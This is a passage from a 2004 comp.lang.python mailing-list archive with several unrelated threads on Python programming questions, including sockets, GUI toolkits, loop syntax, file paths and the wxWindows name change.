> And then there is HTML. I wonder how Mozilla parses all the ill-formed
> html that is on the web.

I'm looking for the C grammar in ANTLR.  Do you mean the tinyC example?
That leaves out a *lot*.  (There are grammars for Java and Pascal included,
and they look pretty complete.)

-- Paul




From bblochl2 at compuserve.de  Tue Feb 24 07:53:55 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Tue, 24 Feb 2004 13:53:55 +0100
Subject: Thoughts about Python
Message-ID: <403B4963.4060303@compuserve.de>

<Marco Aschwanden> PPNTWIMBXFFC at spammotel.com:  "Thoughts about Python"

Hi

I find your Thoughts about Python very interesting and valuable. I agree 
in many of your arguments.

I would recommend you to post your  thoughts directly to 
guido at python.org. Guido is the source for a possible change. (By the 
way, on http://www.python.org/dev/process.htmlone can find the  outline 
of the "Python's Development Process". May be you alreay know that 
source - than sorry, I dont wish to impose.)

Bernhard




From nospam-deets at web.de  Thu Feb 19 12:22:09 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 19 Feb 2004 18:22:09 +0100
Subject: Listbox and Hashtable troubles
References: <mailman.71.1077208238.27104.python-list@python.org>
Message-ID: <c12rhe$1dbjum$1@ID-111250.news.uni-berlin.de>

First: Don't use HTML when posting!!! 

Second: What gui-toolkit do you use? Maybe its possible to associate a
key/value pair to the listbox, where only the value is displayed, but that
depends on your toolkit.

Whatever toolkit it is, usually you get the index of the entry the user
selected - now if you have a dict, you somehow have to enumerate the values
you get. This order you can use:

hm = {1 : "one", 2 : "two"}

items = hm.items() # yields (1, "one"), (2, "two")

for key, value in items:
  lb.add(value)

index = lb.get_user_pressed_index()
key = items[index][0]
-- 
Regards,

Diez B. Roggisch


From http  Fri Feb 20 02:53:00 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 23:53:00 -0800
Subject: disappearing of global perlish variables
References: <1deb305l037b7ao9esroc2ass30esd0d3q@4ax.com>
Message-ID: <7xznbedw6b.fsf@ruckus.brouhaha.com>

gabriele renzi <surrender_it at remove.yahoo.it> writes:
> matz said more than once that the perlish global variables like
> $/ or $: are going away in future releases.

I think you want comp.lang.ruby, not python.


From http  Wed Feb 18 12:03:19 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 09:03:19 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<KhKYb.15131$aH3.495341@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <7xsmh8qq08.fsf@ruckus.brouhaha.com>

"Andrew Koenig" <ark at acm.org> writes:
> Any loop that is currently written in the form
> 
>     while True:
>         <statements>
>         if condition:
>             break
>         more statements

If the loop is complicated enough, it's probably easier to just write
it the way you've written it there.  If it's uncomplicated, there's
probably a way to do it with iterators, assignment expressions, or
whatever.  Got a real world example that really benefits from the new
construction?


From max at alcyone.com  Wed Feb 18 01:38:05 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 17 Feb 2004 22:38:05 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
Message-ID: <4033084D.1AEA1ADA@alcyone.com>

Paul Rubin wrote:

> I'm still scratching my head over that PEP.  Got a real-world code
> sample
> that it would improve?

	do:
	    line = inputFile.readline()
	while line:
	    ...
	    line = inputFile.readline()

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ The doors of Heaven and Hell are adjacent and identical.
    -- Nikos Kazantzakis


From jcarlson at nospam.uci.edu  Sun Feb 29 19:27:45 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 16:27:45 -0800
Subject: How to use plugins..
In-Reply-To: <mailman.1.1078090011.2828.python-list@python.org>
References: <mailman.211.1077910497.8594.python-list@python.org>	<c1tj44$2fs$1@news.service.uci.edu>
	<mailman.1.1078090011.2828.python-list@python.org>
Message-ID: <c1u075$hbb$1@news.service.uci.edu>

> bad bad bad bad idea
> 
> try hitting ctrl-c while plugin.function is running, for instance.

So you do:

try:
     #stuff
except KeyboardInterrupt:
     raise
except:
     #report exception


  - Josiah


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sat Feb 28 07:26:06 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sat, 28 Feb 2004 13:26:06 +0100
Subject: Publish/Subscribe Lib for Python?
In-Reply-To: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
Message-ID: <404088dc$0$565$e4fe514c@news.xs4all.nl>

Adrian B. wrote:
> Does anyone know of a framework or library that will enable me to use
> publish/subscribe comms?  

Pyro's Event Service.  http://pyro.sourceforge.net

--Irmen


From mwh at python.net  Thu Feb 12 13:22:22 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 12 Feb 2004 18:22:22 GMT
Subject: xml unknown encoding: big5
References: <c0g189$8pk@netnews.hinet.net>
Message-ID: <m365ec17kx.fsf@pc150.maths.bris.ac.uk>

"Ray B. X. Zhou" <ray.chou at msa.hinet.net> writes:

> I use xml.sax to parse big5 encoding xml file.
> And I got message "unknown encoding: big5".
> What can I do?

Install CJKCodecs?  (Just a guess).

Cheers,
mwh

-- 
  Worryingly, DEFUN appears to be a function that removes all the
  fun from something: after using it all your code is converted 
  to C++.                              -- Tim Bradshaw, comp.lang.lisp


From peter at engcorp.com  Tue Feb 10 15:46:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 15:46:26 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
Message-ID: <40294322.7AF2C6D7@engcorp.com>

"Martin v. L?wis" wrote:
> 
> Peter Hansen wrote:
> > Then there are very few XML parsers in the world, if one includes, say,
> > namespaces and validation as part of XML.
> 
> Namespaces are clearly *not* part of the XML recommendation (but part
> of the XML namespaces recommendation). Validation is optional in the
> XML recommendation. Character references are not.

See my reply to Brian Q...  I can accept that, but read more into Uche's
objection than he probably meant.  It now seems rather over the top to
write an article lambasting the product for something that would normally
just be considered a simple bug/defect in the software, unless the
maintainers have in effect refused to fix it.

-Peter


From adamba at gte.net  Tue Feb 24 01:18:32 2004
From: adamba at gte.net (Adam Barr)
Date: 23 Feb 2004 22:18:32 -0800
Subject: Comments requested: brief summary of Python
Message-ID: <ce782195.0402232218.6e64177c@posting.google.com>

For a book I am working on, I have written a brief (9 page) summary
of Python. The intent of this is that an experienced programmer who
did
not know Python would be able to get enough information to read and
understand Python programs. It is not meant to be a 100% complete
summary of the language, but everything in there should be correct.

If anyone is interested, please feel free to read it and send me
comments. Note that the material is copyrighted, this document is
provided for review only, and the ideas contained in any comments may
be used in the book, in whole or in part, with no rights granted to
the person who provided the comments. I will however acknowledge by
name (if desired) anyone who sends comments.

The information is in PDF form per my publisher's request, but if this
is a problem for anyone, email me and I can send it to you in plain
text.

The file is at

http://www.proudlyserving.com/language/python.pdf

I have written similar summaries for other languages and will
hopefully post them (with a virtually identical message) in the
appropriate newsgroups in the next few days.

Thank you.

- Adam Barr
adamba at gte.net


From michael at hobbshouse.org  Thu Feb 12 14:10:15 2004
From: michael at hobbshouse.org (Michael Hobbs)
Date: Thu, 12 Feb 2004 13:10:15 -0600
Subject: Table Oriented Programming
Message-ID: <000a01c3f19b$dc5c7ea0$0a0aa8c0@mikesmonster>

Yeah, yeah, another X-Oriented paradigm, but please hear me out.

I have recently been studying up on EJB's in order to extend my resume.
I have looked at J2EE several times over the past years, but have never
been impressed by it. Now that I've studied it in detail, I know why. A
strongly typed language such as Java is poorly suited to model tables
and relations. 

I got to thinking that a more dynamically typed language, such as
Python, would be a more natural fit. I've always been fond of the
table-oriented programming ideas described in
http://www.geocities.com/tablizer/top.htm, so I'm thinking that if
Python could be extended to handle table-oriented programming as
seamlessly as it handles object-oriented programming, it could become a
really valuable language for writing enterprise components, a la EJB.

Does anyone know if anyone has already walked this path?

I've given it a little thought myself, and here are some of my
[incomplete] ideas:

- Tables would be first-class values, just as classes are.
- A table may be stored completely in memory, or it may represent a
table stored in a database engine.
- A table may represent the result of a query.
- Queries are performed using a sequence of operators, rather than
relying on SQL.

Consider this example code:
  departments = DepartmentTable
  employees = EmployeeTable
  johnsDepartment = (departments * employees) / 
    (employees.dept == departments.dept) /
    (employees.name == 'John') %
    departments.name
  print johnsDepartment[0].name

In the code above, the "*" operator performs a cartesian product, the
"/" operator performs a selection, and the "%" operator performs a
projection. If the DepartmentTable and the EmployeeTable are stored in a
database engine, the expression above would generate a SQL query similar
to "select department.name from (select * from department, employee
where employee.dept = department.dept) where employee.name = 'John'". If
the expression had been written "(departments * employees) /
(employees.dept == departments.dept and employees.name == 'John') %
departments.name", the resulting SQL would be similar to "select
department.name from department, employee where employee.dept =
department.dept and employee.name = 'John'", that is, without the nested
SELECT.

Of course, the entire code above could be reduced to a single line:
  print ((DepartmentTable * EmployeeTable) / (EmployeeTable.dept ==
DepartmentTable.dept and EmployeeTable.name == 'John') %
DepartmentTable.name)[0].name

Perhaps the list-comprehension syntax may be better suited than
arithmetic operators. Like I said, my ideas are still a little
incomplete.

Please forgive me if this has already been discussed to death,
- Michael Hobbs







From john.burton at jbmail.com  Sun Feb 15 06:41:44 2004
From: john.burton at jbmail.com (John Burton)
Date: Sun, 15 Feb 2004 11:41:44 -0000
Subject: IPv6 question
References: <9r14g1-1vu.ln1@neon.jbmail.com>
Message-ID: <uh24g1-40v.ln1@neon.jbmail.com>

"John Burton" <john.burton at jbmail.com> wrote in message
news:9r14g1-1vu.ln1 at neon.jbmail.com...
> I'm not sure if this is a question about python socket support or sockets
in
> general ...
>
> I have a socket server with which I want to accept incoming connections on
> ipv4 and ipv6.
> I've found that if I create the listening socket with
> sock = socket(AF_INET, SOCK_STREAM)
> it will accept connections on ipv4 (only) and if I create it with
> sock = socket(AF_INET6, SOCK_STREAM)
> it will accept connections with ipv6 (only)
>
> Is there a way to make a single socket accept connections using both
> protocols?
> Or do I need create two sockets and listen on them both?

Oops I missed out the point of my question ...

If I need to create an IPv4 socket and IPv6 socket and listen on both that
doesn't
seem to work.

 sock4 = socket(AF_INET, SOCK_STREAM)
 sock4.bind(('', 12345))
 sock6 = socket(AF_INET6, SOCK_STREAM)
 sock6.bind(('', 12345))

I get an error that the address is already in use on the 2nd bind even
though it's to a different
socket type. This is on linux.
Has anyone got this to work? Or am I missing something?




From pythonguy at Hotpop.com  Thu Feb 26 01:17:47 2004
From: pythonguy at Hotpop.com (Anand Pillai)
Date: 25 Feb 2004 22:17:47 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.57.1077648520.8594.python-list@python.org>
	<23891c90.0402250227.7d07849f@posting.google.com>
Message-ID: <84fc4588.0402252217.67da2756@posting.google.com>

Is this a sign that the corporation is getting panicky? 
It normally happens to a company when they get panicky
that they tend to focus on side-issues.   

Microsoft never used to spend on TV ads much AFAIK. Now
they are doing it... I wonder what is happening in Redmond.

-Anand

paul at boddie.net (Paul Boddie) wrote in message news:<23891c90.0402250227.7d07849f at posting.google.com>...
> "Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.57.1077648520.8594.python-list at python.org>...
> > "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
> > news:wzy8qsfqe6.fsf at ordesa.cs.uu.nl...
> > 
> > > So what will happen to the X Window system, often referred to as
> > > XWindows.
> 
> For the nth time, it isn't referred to as XWindows in any official or
> meaningful sense.
> 
> > Isn't there a consortium or something, with much more resources ($$$) to
> > fight than Julian and Robin have?
> 
> Yes, it's called Sun Microsystems who used the OpenWindows name ages
> ago:
> 
>   http://step.polymtl.ca/~coyote/open-look/01-general/faq-doc-1.html
> 
> I guess Microsoft aren't up for yet more protracted legal action
> involving Sun, so they go for the small guy instead.
> 
> [...]
> 
> > It is a complement to Julian and Robin that MS noticed them enough to
> > threaten and negotiate with them.  Also that they did not just cave but
> > negotiated a 6 month transition period and $ for transition costs.
> 
> Microsoft deserves no compliments whatsoever. This is just a case of a
> company blatantly misusing a generic term which they've been told they
> can't even enforce as a trademark in the United States, surfing
> different legal systems in order to find places where they can carry
> out acts reminiscent of extortion on legitimate activities and
> businesses, and then bullying small outfits who can't afford to argue
> for any substantial period of lawyer time.
> 
> For once, the United States is actually a beacon of sanity in all
> this. There's Lindows being issued with injunctions all over the
> planet for the use of a name which resembles Windows; there's the
> bloke behind Mobilix being forced to change his site's name to
> TuxMobil because the publishers of Asterix think they own every name
> ending with "ix". The only positive thing about the former case is
> that Michael Robertson seems to know enough about public relations to
> make every aggressive move by Microsoft an embarrassment for them
> whilst raising the profile of his own business.
> 
> So, how is it a compliment that a corporation waits several years
> before jumping on an now-established project whose name doesn't really
> infringe on any reasonable trademark? How does threatening behaviour
> deserve any compliment whatsoever?
> 
> Paul


From glc at well.com  Tue Feb  3 18:40:20 2004
From: glc at well.com (Greg Chapman)
Date: Tue, 03 Feb 2004 23:40:20 GMT
Subject: __del__ warnings apply to tp_dealloc?
References: <bvnbkj$7h$1@woodrow.ucdavis.edu>
Message-ID: <24c020dgad81j8b5ea3ntoaavne2mlh8as@4ax.com>

On Mon, 2 Feb 2004 21:29:15 -0800, "Jey Kottalam" <kottalam at cs.ucdavis.edu>
wrote:

>Hi,
>
>The Python 2.3 Language Reference cautions that __del__ is not guarnateed to
>be invoked at
>http://www.python.org/doc/current/ref/customization.html#l2h-175 . I am
>writing a Python extension in C and I was wondering if the same precautions
>apply to tp_dealloc, that is, is there a possibility that the tp_delloc for
>my type may not be invoked?
>

Yes, there is no guarantee that all tp_deallocs will be called when the
interpreter exits.  In CPython, the interpreter does try to clean up when it
exits by clearing out all the modules, which will generally cause most objects
to have their tp_dealloc called.  However, if the object is in a refcount cycle,
there is no guarantee that the cycle will get collected.

Note also that, unlike a python __del__ method, a tp_dealloc method will not
keep the garbage collector from collecting cycles.

---
Greg Chapman



From skip at pobox.com  Wed Feb  4 14:28:44 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 4 Feb 2004 13:28:44 -0600
Subject: an ingrate newbie complains
In-Reply-To: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
Message-ID: <16417.18412.329005.329202@montanaro.dyndns.org>


    Elaine> 1) I find the following behavior puzzling and disappointing:

    >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
    >>> Y=dict(X)
    >>> Z=list(Y)
    >>> Z==X
    False
    >>> Z==Y.keys()
    True

That list(Y) returns the keys of X is perhaps unfortunate, but the same
behavior allows you to write:

    for key in Y:
        print (key, y[key])

which can be an efficiency gain if Y is large (not having to build a list of
all the keys ahead of time).  You'll find this to be true though:

    W = Y.items()
    W.sort()
    W == X

    Elaine> 2) How come you can't write...

    Elaine> if y = f(x) > 3:
    Elaine>     <do a bunch of things with x and y>

There is a common class of errors in C code:

    if (c = 0) {
        ...
    }

Is that supposed to be an assignment or a test?  Python avoids that problem
by not allowing assignments within expressions.

    Elaine> That kind of syntax would be especially welcome in list
    Elaine> comprehensions:

    Elaine> [f(x,y) for x in list if y=g(x)<=0]

I think you can recast that as:

    [f(x,y) for (x,y) in zip(list, [g(z) for z in list]) if y <= 0]

but do you really want to?  (This won't work if list is an iterator.)

    Elaine> If g(x) is a fairly complicated expression, and y occurs several
    Elaine> times in f(x,y), considerable clarity could be gained.

If g(x) is a fairly complicated expression and y occurs several times in
f(x,y), perhaps you should be using a for loop instead of a list
comprehension:

    result = []
    for x in list:
        y = g(x)
        if y <= 0:
            result.append(f(x,y))
    return result

(FYI, you shouldn't use "list" as a variable name.  You're shadowing a
builtin, a practice that can lead to confusing error messages, if nothing
else.)

Skip



From peter at engcorp.com  Wed Feb 11 12:34:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 12:34:04 -0500
Subject: create Python "make" file
References: <3064b51d.0402110843.1f562e90@posting.google.com>
Message-ID: <402A678C.7D6290A0@engcorp.com>

beliavsky at aol.com wrote:
> 
> I know that you do not need a make file to run a Python program -- it
> looks for the needed sources files in the working directory and in
> directories in the path. But it is convenient to know what Python
> source files a program uses, if you want to back up a program or send
> it to a colleague.
> 
> Has anyone written a Python tool that looks at all the Python source
> files in a directory and constructs lists of sources, each of which
> comprises a program?

In effect py2exe and its ilk do just that.  You should be able to 
find the relevant chunks of code in there for re-use if you wish.

-Peter


From FBatista at uniFON.com.ar  Wed Feb 11 11:33:40 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 13:33:40 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835E7@escpl.tcp.com.ar>

Terry Reedy wrote:

#- > There is any case when f.close, or bar or something like 
#- "not a call to a
#- > function (there is no ')'), with no '=' at the left or at 
#- the right" has
#- any
#- > effect?
#- 
#- If the code is pasted into an interactive interpreter 
#- window, the bare
#- expressions get printed.

I'm ok with that, but is this really useful in a program?

The problem is that forgetting the "()" is a common mistake, and even if we
can not detect...

a = myclass.mymethod

...(when the user was meaning to execute it) because it's valid, I think
it'll be useful to detect and warning:

myclass.mymethod
mylist.sort
myfile.close

.	Facundo





. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
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Si Ud. No es uno de los destinatarios consignados o la persona responsable
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autorizado a divulgar, copiar, distribuir o retener informaci?n (o parte de
ella) contenida en este mensaje. Por favor notif?quenos respondiendo al
remitente, borre el mensaje original y borre las copias (impresas o grabadas
en cualquier medio magn?tico) que pueda haber realizado del mismo. 

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From aahz at pythoncraft.com  Mon Feb 23 13:41:34 2004
From: aahz at pythoncraft.com (Aahz)
Date: 23 Feb 2004 13:41:34 -0500
Subject: How to code a series of alternatives
References: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
Message-ID: <c1dhgu$orm$1@panix3.panix.com>

In article <Xns94987ED355A3Asdfexpertunecom at 216.168.3.44>,
Scott F  <sdfATexpertuneDOTcom> wrote:
>testvar = bob
>
># Trial A: This does not work
>if testvar == ("fred" or "bob):
>    statements
>
># Trial B: This does work
>if textvar == "fred" or textvar == "bob":
>    statements
>
>Trial B is OK for 1 or 2 tests, but gets messy for 5 or 6.  What is the 
>variation of Trial A that will work?  

Simplest:

    if testvar in ('fred', 'bob'):

Fastest:

    options = sets.Set('fred', 'bob'):

        ...

    if testvar in options:
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From tdelaney at avaya.com  Sun Feb 22 21:24:19 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Mon, 23 Feb 2004 13:24:19 +1100
Subject: Case sensitive file names
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE013781DE@au3010avexu1.global.avaya.com>

> From: Thomas Philips
> 
> Here's my example
> >>> file =open("c:\python23\programs\test.txt")
> 
> Traceback (most recent call last):
>   File "<pyshell#0>", line 1, in -toplevel-
>     file =open("c:\python23\programs\test.txt")
> IOError: [Errno 2] No such file or directory: 
> 'c:\\python23\\programs\test.txt'
> 
> >>> file =open("c:\Python23\Programs\test.txt")
> 
> Traceback (most recent call last):
>   File "<pyshell#1>", line 1, in -toplevel-
>     file =open("c:\Python23\Programs\test.txt")
> IOError: [Errno 2] No such file or directory: 
> 'c:\\Python23\\Programs\test.txt'
> 
> >>> file =open("c:\Python23\Programs\Test.txt")
> >>> print file.read()
> 1
> 2
> 3

You're not doing what you think you are doing.

A backslash in python (like many languages) is the escape character in strings. If you look at (for example)

> 'c:\\python23\\programs\test.txt'

you will notice that the first two backslashes are doubled (escaped backslash) but the second isn't.

The reason is that '\t' is the escape sequence for a tab character.

You need to do one of three things:

1. Escape all backslashes e.g. open(r"c:\\python23\\programs\\test.txt");

2. Use forward slashes (they will work on windows file paths through Python unless you are passing them to an external process) e.g. open("c:/python23/programs/test.txt")

3. Use raw strings e.g. open(r"c:\python23\programs\test.txt")

Tim Delaney



From virus.manager at st.com  Wed Feb 11 09:28:54 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Wed, 11 Feb 2004 14:28:54 -0000
Subject: Virus Alert
Message-ID: <20040211142854.9FFCEF438@zeta.dmz-eu.st.com>

The mail message (file: file.cmd) you sent to <jim at class.it> contains a virus. (on zeta)



From merkosh at hadiko.de  Thu Feb 12 06:15:29 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Thu, 12 Feb 2004 12:15:29 +0100
Subject: fast QListView numerical sort
Message-ID: <c0fn8h$pfp$1@news.rz.uni-karlsruhe.de>

Hi,

Using PyQt I got a QListView with about 800 entries now (but its intended to
be scalable up to about 3000).
The first column contains numerical data. Now Qt does the sorting all by its
self and quite fast enough. By default it sorts alphanumerically, i.e. 1 10
100 101 110 111 2 ...

Solutions on the web suggested left padding the digits with white spaces
which didn't work for me. 
Left padding with 0's does not look good.
Qt Manual says you can overwrite the compare method QListViewItem.compare -
which I did:

QListViewItem.compare = lambda s,a,b,c: s.text(0).toInt()[0]
-a.text(0).toInt()[0]

The compare method returns < 0 for "smaller", 0 for "equal", > 0 for
"bigger".
Doing so works, but causes a 2 sec delay each time a re-sort has to be done
- which is rather annoying (at only less than 1/3 of its expected load!)

Solutions I could come up with are:
a. derive a C++ QListViewItem that does the numerical sorting and use this
instead of the default QListViewItem in the hope it'll be faster
pro: probably the easyest (faster? fast enough?)
con: not portable

b. implement all sorting and inserting related functions by myself in Python
and do the sorting from Python
pro: portable
con: much more coding to be done; probably contains more bugs

Which do you favour or do you have other suggestions?

Thanks
Uwe


From greg.invalid at capra.us.invalid  Fri Feb 27 04:38:00 2004
From: greg.invalid at capra.us.invalid (Greg Krohn)
Date: Fri, 27 Feb 2004 09:38:00 GMT
Subject: wxPython tutorial?
In-Reply-To: <36965e8.0402262255.122d167f@posting.google.com>
References: <36965e8.0402262255.122d167f@posting.google.com>
Message-ID: <YdE%b.22928$W74.17716@newsread1.news.atl.earthlink.net>

Jive Dadson wrote:
> I'm trying (without conspicuous success) to start learning
> wxPython.  Sooo... I opened the doc page wxPythonManual.html#wxpython-overview.
> The very first example does not work.  Try it.  I find much of what follows
> to be incomprehensible.  Is there a good tutorial for novices?
> 
> Here's the example that does not work.  ("No module named frame")
> 
[snip]

Weird. I've never seen imports like that with wxPython before. Try the 
following code, instead. Notice that I changed three things: I replaced 
the imports, changed "wx.App" and "Frame" to "wxApp" and "wxFrame", and 
changed the constructor args for the frame.

from wxPython.wx import *

class App(wxApp):
     def OnInit(self):
         self.frame = wxFrame(NULL, -1, "MyApp Frame")
         self.frame.Show()
         self.SetTopWindow(self.frame)
         return True

def main():
     app = App()
     app.MainLoop()

if __name__ == '__main__':
     main()



I'm not too sure about that tutorial you mentioned, but you can try 
these, also:

<http://wxpython.org/tut-part1.php> Starts off almost identical to what 
you had (except that this one woks). It's a short tutorial, though.

<http://tinyurl.com/oq0p> Lot's of information.


greg


From gingaloon at hotmail.com  Tue Feb  3 07:21:26 2004
From: gingaloon at hotmail.com (JamesW)
Date: 3 Feb 2004 04:21:26 -0800
Subject: Installing wxPython and Friends
References: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>
	<30260531.0402021553.acc06ca@posting.google.com>
	<30260531.0402022332.4c18bfc0@posting.google.com>
Message-ID: <27d2bd1f.0402030421.6a8ccc1f@posting.google.com>

simo, from whence did you get the wxGTK and wxPython rpms.  The ones I
got just kinda died on me...

Lets hope I have the same luck

simoninusa2001 at yahoo.co.uk (simo) wrote in message news:<30260531.0402022332.4c18bfc0 at posting.google.com>...
> OK, I take it all back - I looked on RedHat 9 CD #1 and rpm -Uvh'd
> GTK2 and it informed me I already had 2.2.1 installed.
> 
> So that meant I could skip trying to install ATK/GLib2 and just went
> straight onto installing wxGTK and wxPython from RPMs too!
> 
> I then installed McMillan Installer and UPX and now have Windows and
> Linux distributable wxPython/TKinter apps - bloody great! Installer is
> so much nicer than py2exe too.
> 
> I might just forget PyQT now..


From peter at engcorp.com  Tue Feb 17 14:52:12 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 14:52:12 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<6ee58e07.0402171108.4e7599b3@posting.google.com>
Message-ID: <403270EC.E233E817@engcorp.com>

Lothar Scholz wrote:
> 
> A good study of this would cost around 750000 US$ and take at least
> one year with 2 or 3 persons per team. It's not a problem for IBM or
> SUN to pay for it.
> But they live on selling consulting hours. Why should they be
> interested in a study of who to increase programmer productivity ?

They do much more than consult, as they sell/lease substantial amounts of
software and hardware, as well as working on many very large fixed-price
projects.  For all of those, minimizing their own costs would be very 
important to achieving a good margin and profitability.

Besides, they spend enormously more than US$750,000 each year on much 
less important studies.  Overall, they spend almost 7000 times that much
each year on R&D (according to their 2000 annual report), which means that
spending US$750,000 on a study like this would be very roughly as if you
or I were to spend $10.

For my own company, the study would be quite costly.  For a much larger
company it's a drop in the bucket, and might well contribute to them
gaining a competitive advantage.

The likelihood is that they (IBM and others) already fund such studies
internally, but don't make the results public.

Possibly equally likely, however, is that any such studies are seriously
flawed and support the political position of whomever funds the project,
or whomever leads it.

Which gets us right back to square one...

-Peter


From mwh at python.net  Wed Feb 25 07:08:28 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:08:28 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<m3ad38hcu4.fsf@pc150.maths.bris.ac.uk>
	<15c2d03b.0402241314.726c6688@posting.google.com>
Message-ID: <m3llmrfjk4.fsf@pc150.maths.bris.ac.uk>

PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) writes:

> > 
> > > *** Problem: tuples are not necessary
> > 
> > Says you!  Here's a hint: hash([]).
> > 
> > [...]
> 
> I suppose this is the argument: list are not immutable that is why
> they cannot be used a dict key... I wonder how many people use a tuple
> as dict key.

I do, on occasion.

> This seems to be a common practice to justify its own "type". I
> admit, I can think of simple workarounds when there wouldn't be
> tuples (eg. Instead of transforming a list into tuple why not
> transforming it into a string).

Oh yeah, transforming it into a string is really clean.

> > I think you might be expecting something other of Python than what it
> > is.  Nothing you suggest is completely ridiculous, just, well,
> > slightly un-Pythonic.
> 
> un-Pythonic... this bytes ... hmm... why? Reading your comments it
> does not justify such a hard judgment - or does it?

I was trying to be polite...

I've been reading this list for about six (eek!) years now.  You kind
of get used to posts like yours, and also to their posters realizing
that there is perhaps more sense behind Python's existing form than
they first imagine.

Cheers,
mwh

-- 
  (Unfortunately, while you get Tom Baker saying "then we 
   were attacked by monsters", he doesn't flash and make 
  "neeeeooww-sploot" noises.)
      -- Gareth Marlow, ucam.chat, from Owen Dunn's review of the year


From p at trick.lu  Mon Feb 16 15:58:57 2004
From: p at trick.lu (Patrick Useldinger)
Date: Mon, 16 Feb 2004 21:58:57 +0100
Subject: Pick out ip-address
References: <mailman.44.1076933975.31398.python-list@python.org>
Message-ID: <hnb2301g31spqd0bppamimoeu46t99hk9q@4ax.com>

On Mon, 16 Feb 2004 13:19:22 +0100, Alexander F?disch
<foedisch at eva.mpg.de> wrote:

>Can somebody help me? I want to pick-out the IP-address after my pc is 
>connected with the internet.

What about:

>>> import socket
>>> print socket.gethostbyname(socket.gethostname())
192.168.1.2

?
--
http://www.homepages.lu/pu/


From seberino at spawar.navy.mil  Thu Feb  5 03:06:41 2004
From: seberino at spawar.navy.mil (seberino at spawar.navy.mil)
Date: Thu, 5 Feb 2004 00:06:41 -0800
Subject: in c extension what is easiest way to build a (PyObject) list
	from an array of doubles?
In-Reply-To: <20040204191648.J38562@bullseye.apana.org.au>
References: <bf23f78f.0402022256.7ace879c@posting.google.com>
	<401F47ED.6070405@prescod.net>
	<20040203215009.GC9669@spawar.navy.mil>
	<20040204191648.J38562@bullseye.apana.org.au>
Message-ID: <20040205080641.GA18105@spawar.navy.mil>

Andrew

Thanks.  I did it and it looks like it works too.

Chris

On Wed, Feb 04, 2004 at 07:21:15PM +1100, Andrew MacIntyre wrote:
> On Tue, 3 Feb 2004 seberino at spawar.navy.mil wrote:
>
> > How do you build a list/tuple/array/ from a C array of numbers?
>
> The API docs are what you need to look at.
>
> To create a tuple, call PyTuple_New().
>
> For each element in your C array, build a Python object then use
> PyTuple_SetItem() to insert it into the tuple.
>
> --
> Andrew I MacIntyre                     "These thoughts are mine alone..."
> E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
>         andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
> Web:    http://www.andymac.org/               |        Australia
>

--
_______________________________________

Christian Seberino, Ph.D.
SPAWAR Systems Center San Diego
Code 2872
49258 Mills Street, Room 158
San Diego, CA 92152-5385
U.S.A.

Phone: (619) 553-9973
Fax  : (619) 553-6521
Email: seberino at spawar.navy.mil
_______________________________________



From mirko-lists at zeibig.net  Mon Feb  2 06:36:06 2004
From: mirko-lists at zeibig.net (Mirko Zeibig)
Date: Mon, 02 Feb 2004 12:36:06 +0100
Subject: How do I overload 'equals'?
